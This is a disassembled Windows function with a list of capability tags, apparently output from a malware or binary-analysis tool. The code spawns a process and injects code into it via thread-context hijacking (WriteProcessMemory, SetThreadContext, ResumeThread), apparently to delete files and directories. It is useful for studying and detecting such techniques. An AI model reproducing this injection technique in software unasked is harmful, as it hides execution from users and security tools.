Function at 0x111273e0
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0c
mov eax, dword [0x111ec774]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x44
lea eax, [ebp - 0xb0c]
push 0
push eax
call fcn.11162be0
push 0x94
lea ecx, [ebp - 0x4a8]
push 0
push ecx
mov dword [ebp - 0xb0c], 0x44
call fcn.11162be0
add esp, 0x18
lea edx, [ebp - 0x4a8]
push edx
mov dword [ebp - 0x4a8], 0x94
call dword [sym.imp.KeRneL32.DLl_GetVersionExA]
cmp dword [ebp - 0x4a4], 6
jb 0x111275bf
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KeRneL32.DLl_GetTempPathA]
lea eax, [ebp - 0x108]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x11127462
mov ecx, dword [0x111b9178]
mov edx, dword [0x111b917c]
mov dword [eax], ecx
mov ecx, dword [0x111b9180]
mov dword [eax + 4], edx
mov dl, byte [0x111b9184]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KeRneL32.DLl_GetModuleFileNameA]
lea ecx, [ebp - 0x20c]
push 0x5c
push ecx
call fcn.111640b0
add esp, 8
test eax, eax
je 0x111275ad
cmp dword [ebp + 8], 0
je 0x111274c7
mov dword [eax + 1], 0x2a2e2a
mov edi, dword [sym.imp.KeRneL32.DLl_CreateFileA]
push 0
push 0
push 2
push 0
push 5
push 0xc0000000
lea edx, [ebp - 0x108]
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x111275ad
push ebx
push 0
lea eax, [ebp - 0xac4]
push eax
push 0x4d0
push 0x111b8c68
push esi
mov dword [ebp - 0xac4], 0
call dword [sym.imp.KeRneL32.DLl_WriteFile]
mov ebx, dword [sym.imp.KeRneL32.DLl_CloseHandle]
push esi
call ebx
push 0
push 0x4000000
push 3
push 0
push 5
push bind
lea ecx, [ebp - 0x108]
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x111275ac
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KeRneL32.DLl_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x414]
push 0x111b916c
push ecx
call dword [sym.imp.uSEr32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0xac0]
push edx
lea eax, [ebp - 0xb0c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [ebp - 0x414]
push ecx
push 0
call dword [sym.imp.KeRneL32.DLl_CreateProcessA]
test eax, eax
je 0x111275a9
mov edx, dword [ebp - 0xac0]
push edx
call ebx
mov eax, dword [ebp - 0xabc]
push eax
call ebx
push esi
call ebx
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.11162bb7
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0xac0]
push ecx
lea edx, [ebp - 0xb0c]
push edx
push 0
push 0
push 0x44
push 0
push 0
push 0
push 0x111a9078
push 0
call dword [sym.imp.KeRneL32.DLl_CreateProcessA]
test eax, eax
je 0x111275ad
mov ecx, dword [sym.imp.KeRneL32.DLl_DeleteFileA]
mov edx, dword [sym.imp.KeRneL32.DLl_Sleep]
mov eax, dword [sym.imp.KeRneL32.DLl_WaitForSingleObject]
mov edi, dword [sym.imp.KeRneL32.DLl_CloseHandle]
mov esi, dword [sym.imp.KeRneL32.DLl_GetCurrentProcess]
mov dword [ebp - 0x8a0], ecx
mov ecx, dword [sym.imp.KeRneL32.DLl_RemoveDirectoryA]
mov dword [ebp - 0x89c], edx
mov edx, dword [sym.imp.KeRneL32.DLl_GetLastError]
push 0
mov dword [ebp - 0x8a8], eax
mov eax, dword [sym.imp.KeRneL32.DLl_ExitProcess]
mov dword [ebp - 0x894], ecx
mov ecx, dword [sym.imp.KeRneL32.DLl_FindNextFileA]
push 0
mov dword [ebp - 0x890], edx
mov edx, dword [sym.imp.KeRneL32.DLl_FindClose]
mov dword [ebp - 0x898], eax
mov eax, dword [sym.imp.KeRneL32.DLl_FindFirstFileA]
mov dword [ebp - 0x888], ecx
push 0
lea ecx, [ebp - 0x8ac]
mov dword [ebp - 0x884], edx
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp + 0xc]
push ecx
push edx
mov dword [ebp - 0x8a4], edi
mov dword [ebp - 0x880], eax
call esi
push eax
call esi
push eax
call dword [sym.imp.KeRneL32.DLl_DuplicateHandle]
push 0x104
lea eax, [ebp - 0x878]
push eax
push 0
call dword [sym.imp.KeRneL32.DLl_GetModuleFileNameA]
lea ecx, [ebp - 0x878]
push 0x5c
push ecx
call fcn.111640b0
add esp, 8
test eax, eax
jne 0x111276d0
push 0x12e
push 0x111b915c
push 0x1119b3fc
call fcn.11029a70
add esp, 0xc
jmp 0x111276ed
mov edx, eax
lea ecx, [ebp - 0x878]
sub edx, ecx
cmp dword [ebp + 8], 0
mov dword [ebp - 0x87c], edx
je 0x111276ed
mov dword [eax + 1], 0x2a2e2a
mov esi, 0x111273d0
sub esi, 0x111272b0
cmp esi, 0x200
jbe 0x11127717
push 0x13d
push 0x111b915c
push 0x111b9138
call fcn.11029a70
add esp, 0xc
push esi
lea edx, [ebp - 0xaac]
push 0x111272b0
push edx
call fcn.11162c60
mov ecx, dword [ebp - 0xabc]
add esp, 0xc
lea eax, [ebp - 0x774]
push eax
push ecx
mov dword [ebp - 0x774], 0x10003
call dword [sym.imp.KeRneL32.DLl_GetThreadContext]
mov esi, dword [ebp - 0x6b0]
lea ecx, [ebp - 0xac8]
push ecx
add esi, 0xfffffcc4
and esi, 0xffffffe0
push pe_nt_image_headers32
lea edx, [esi - 4]
push 0x33c
mov dword [ebp - 0x6b0], edx
mov edx, dword [ebp - 0xac0]
push esi
lea eax, [esi + 4]
push edx
mov dword [ebp - 0xab0], esi
mov dword [ebp - 0x6bc], eax
call dword [sym.imp.KeRneL32.DLl_VirtualProtectEx]
mov ecx, dword [ebp - 0xac0]
push 0
push 0x33c
lea eax, [ebp - 0xab0]
push eax
push esi
push ecx
call dword [sym.imp.KeRneL32.DLl_WriteProcessMemory]
mov edx, dword [ebp - 0xac0]
push 0x33c
push esi
push edx
call dword [sym.imp.KeRneL32.DLl_FlushInstructionCache]
mov ecx, dword [ebp - 0xabc]
lea eax, [ebp - 0x774]
push eax
push ecx
call dword [sym.imp.KeRneL32.DLl_SetThreadContext]
mov edx, dword [ebp - 0xabc]
push edx
call dword [sym.imp.KeRneL32.DLl_ResumeThread]
mov eax, dword [ebp - 0xabc]
push eax
call edi
mov ecx, dword [ebp - 0xac0]
push ecx
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.11162bb7
mov esp, ebp
pop ebp
ret